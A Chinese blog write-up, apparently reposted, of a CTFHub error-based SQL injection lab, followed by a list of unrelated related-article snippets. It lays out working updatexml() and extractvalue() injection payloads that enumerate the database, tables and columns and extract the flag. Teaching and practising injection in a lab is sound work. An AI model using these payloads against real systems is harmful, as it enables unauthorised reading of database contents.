2025.1.15——三、报错注入

ops/2025/1/18 1:21:59/

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,本题为报错注入,需进一步确认回显方式

二、用updatexml()解题步骤

step 1:依据回显方式判断题目类型

step 2:查看字段名

step 3:确定报错函数updatexml()可用

step 4:爆数据库

step 5:爆表名

step 6:爆列名

step 7:爆具体数据

三、用extractvalue()函数解题步骤

step 4:爆数据库

step 5:爆所有的表名

step 6:爆列名

step 7:爆具体数据

四、updatexml()函数和extractvalue()函数的区别


一、基本操作:整理已知信息,本题为报错注入,需进一步确认回显方式

二、用updatexml()解题步骤

step 1:依据回显方式判断题目类型

键入:1、1 and 1=1 、id=2-1

得到:查询正确的回显

键入:1’、1' and 1=1

得到:错误回显,但是错误回显中并没有数字1,第一个和第三个引号是SQL数据库自带符号,中间是输入的内容,但报错内容只框住了单引号,说明单引号前的内容没有问题,所以还是数字型注入

step 2:查看字段名

多次尝试查询字段数

sql">1 order by 3

sql">1 order by 2

step 3:确定报错函数updatexml()可用

updatexml()函数

一般形式:updatexml (XML_document, XPath_string, new_value)

参数:

XML_document:是一个有效的 XML 文档对象,可以是一个字符串形式的 XML 文档。

XPath_string:是一个 XPath 表达式,用于指定要更新的节点在 XML 文档中的位置。XPath 是一种用于在 XML 文档中查找信息的语言。

new_value:是要更新到指定节点的新值。

sql">1 and updatexml(1,0x7e,3) -- a

payload解释:第一个参数和第三个参数都不符合要求,目的是引发报错,第二个参数中7e对应的ASCII字符是~,目的是引发SQL报错;最后的-- a是SQL注释掉后面的语句

updatexml()的主要目的:引发报错

step 4:爆数据库

sql">1 and updatexml(1,concat('~',database(),'~'),1) -- a

注:这里的concat()函数是用于将多个字符串连接成一个字符串的函数

step 5:爆表名

sql">1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

注:这里的group_concat()函数是用于将分组后的字符串连接起来;concat()函数的中间参数(爆数据库名核心语句)要括号括起来,其余一样

step 6:爆列名

sql">1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'),'~'),3) #

step 7:爆具体数据

sql">1 and updatexml(1,concat('~',(select concat(flag) from sqli.flag),'~'),1) -- a

三、用extractvalue()函数解题步骤

extractvalue()函数

一般形式:extractvalue (XML_document, XPath_string)

XML_document:是一个有效的 XML 文档对象,可以是一个字符串形式的 XML 文档

XPath_string:是一个 XPath 表达式,用于指定要从XML_document中提取的节点或节点值的位置

前面重复部分见前面详情

step 4:爆数据库

sql">1 and extractvalue(1,concat(0x7e,database(),0x7e)) #

注:这里extractvalue()函数中第一个参数是满足函数参数要求,第二个参数是构造特定的报错信息

step 5:爆所有的表名

sql">​1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

step 6:爆列名

sql">1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) #

step 7:爆具体数据

sql">1 and extractvalue(1,concat(0x7e,(select flag from sqli.flag),0x7e)) #

四、updatexml()函数和extractvalue()函数的区别

        具体区别在于updatexml()函数有三个参数,extractvalue()函数有两个参数,核心语句与整数型注入无差别,这里同样要加 # 或 -- a 将剩余部分注释掉


http://www.ppmy.cn/ops/150969.html

相关文章

【机器学习】主动学习-增加标签的操作方法-成员查询合成(Membership Query Synthesis, MQS)

成员查询合成(Membership Query Synthesis, MQS)是一个主要应用于机器学习、计算学习理论和自然语言处理(NLP)等领域的概念。它描述了一种框架或技术,其中学习系统(如算法)可以主动生成查询&…

Docker save load 镜像 tag 为 <none>

一、场景分析 我从 docker hub 上拉了这么一个镜像。 docker pull tomcat:8.5-jre8-alpine 我用 docker save 命令想把它导出成 tar 文件以便拷贝到内网机器上使用。 docker save -o tomcat-8.5-jre8-alpine.tar.gz 镜像ID 当我把这个镜像传到别的机器,并用 dock…

我的年度总结

这一年的人生起伏:从曙光到低谷再到新的曙光 其实本来没打算做年度总结的,无聊打开了帅帅的视频,结合自己最近经历的,打算简单聊下。因为原本打算做的内容会是一篇比较丧、低能量者的呻吟。 实习生与创业公司的零到一 第一段工…

用java实现一个猜拳小游戏

1 问题 通过我们对Java的学习,我们如何才能实现一个猜拳的小游戏呢? 2 方法 首先运用类的方法创建了一个Scanner类和Random类。然后运用调用类的方法以及while循环语句和if条件语句的混合使用来实现游戏的操作过程。最后实现猜拳游戏。 通过实验、实践等…

Elasticsearch入门学习

Elasticsearch是什么 Elasticsearch 是一个基于 Apache Lucene 构建的分布式搜索和分析引擎、可扩展的数据存储和矢量数据库。 它针对生产规模工作负载的速度和相关性进行了优化。 使用 Elasticsearch 近乎实时地搜索、索引、存储和分析各种形状和大小的数据。 特点 分布式&a…

计算机组成原理复习笔记

冯.诺伊曼型计算机的特点是:存储程序 单总线并不是只有一根信号线。系统总线按传送信息的不同又可以细分为:地址总线、数据总线和控制总线。 完整的计算机系统应包括配套的硬件设备和软件系统。 是用高级语言编写的程序称为源程序 总线结构是小、微型…

http转化为https生成自签名证书

背景 项目开发阶段前后交互采用http协议,演示环境采用htttps协议 ,此处为个人demo案例 组件 后端:springBoot 前端:vue web 服务:tomcat 部署环境:linux 生成自签名证书 创建目录 存储证书位置 # mkdir -p…

python管理工具:conda部署+使用

python管理工具:conda部署使用 一、安装部署 1、 下载 - 官网下载: https://repo.anaconda.com/archive/index.html - wget方式: wget -c https://repo.anaconda.com/archive/Anaconda3-2023.03-1-Linux-x86_64.sh2、 安装 在conda文件的…